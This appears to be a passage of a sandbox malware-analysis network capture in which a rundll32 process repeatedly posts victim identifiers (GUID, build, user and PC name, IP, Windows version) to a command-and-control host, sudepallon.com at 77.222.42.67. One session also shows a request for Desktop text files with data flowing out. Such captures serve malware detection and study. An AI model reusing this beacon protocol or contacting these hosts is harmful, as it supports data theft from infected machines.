Jul 9, 2021 03:08:33.643659115 CEST	448	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:33.713886023 CEST	448	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4b 4b 50 50 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cKKPPARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
138	192.168.2.22	49303	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:34.002429962 CEST	449	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:34.072370052 CEST	449	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 4b 50 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQKPJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
139	192.168.2.22	49304	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:34.353976011 CEST	450	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:34.423676014 CEST	450	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 41 41 5a 5a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cAAZZARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	95.213.179.67	80	192.168.2.22	49178	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:46.763545990 CEST	309	IN	Data Raw: 00 27 00 00 00 01 00 00 00 15 25 75 73 65 72 70 72 6f 66 69 6c 65 25 5c 44 65 73 6b 74 6f 70 00 00 00 05 2a 2e 74 78 74 05 Data Ascii: '%userprofile%\Desktop*.txt
Jul 9, 2021 03:07:46.764728069 CEST	309	OUT	Data Raw: 0c 00 0f 0a 0b 0a 0b 0a Data Ascii:
Jul 9, 2021 03:07:46.764750957 CEST	309	OUT	Data Raw: 00 00 00 14 09 0a 0a 0a 1a 7a 65 79 Data Ascii: zey
Jul 9, 2021 03:07:46.764754057 CEST	309	OUT	Data Raw: 7a 7c 63 79 63 79 24 69 65 67 30 32 3a Data Ascii: z\|cycy$ieg02:
Jul 9, 2021 03:07:46.764758110 CEST	309	OUT	Data Raw: 00 00 00 0b 0a 0a 0a 0a Data Ascii:
Jul 9, 2021 03:07:46.764760971 CEST	309	OUT	Data Raw: 0d 7a 65 7a 7a 7f 79 62 Data Ascii: zezzyb
Jul 9, 2021 03:07:46.856604099 CEST	310	IN	Data Raw: 00 00 00 04 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
140	192.168.2.22	49305	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:34.698522091 CEST	451	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:34.767838955 CEST	451	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 5a 41 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMZANARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
141	192.168.2.22	49306	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:35.047782898 CEST	452	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:35.119537115 CEST	452	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 4b 50 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGKPTARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
142	192.168.2.22	49307	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:35.406789064 CEST	453	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:35.474266052 CEST	454	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 48 42 59 53 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cHBYSARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
143	192.168.2.22	49308	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:35.747992992 CEST	454	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:35.813770056 CEST	455	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 42 59 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQBYJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
144	192.168.2.22	49309	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:36.085670948 CEST	456	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:36.150537014 CEST	456	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 42 59 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMBYNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
145	192.168.2.22	49310	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:36.434982061 CEST	457	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:36.503417015 CEST	457	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 4a 51 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCJQXARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
146	192.168.2.22	49311	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:36.771972895 CEST	458	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:36.837707996 CEST	458	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 4a 51 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQJQJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
147	192.168.2.22	49312	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:37.115314007 CEST	459	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:37.183634043 CEST	459	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 4e 4d 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCNMXARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
148	192.168.2.22	49313	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:37.464494944 CEST	460	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:37.532049894 CEST	460	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 46 4e 4d 55 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cFNMUARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
149	192.168.2.22	49314	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:37.802294016 CEST	461	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:37.868218899 CEST	461	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 5a 41 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZZAAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.22	49180	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:47.026523113 CEST	311	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:47.093946934 CEST	311	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4b 43 58 50 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cKCXPARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
150	192.168.2.22	49315	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:38.165793896 CEST	462	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:38.231997967 CEST	463	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 42 46 55 59 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cBFUYARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
151	192.168.2.22	49316	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:38.506474972 CEST	463	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:38.572274923 CEST	464	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 41 5a 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCAZXARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
152	192.168.2.22	49317	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:38.847984076 CEST	464	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:38.913382053 CEST	465	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 56 45 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQVEJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
153	192.168.2.22	49318	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:39.189629078 CEST	466	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:39.256133080 CEST	466	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 43 58 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMCXNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
154	192.168.2.22	49319	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

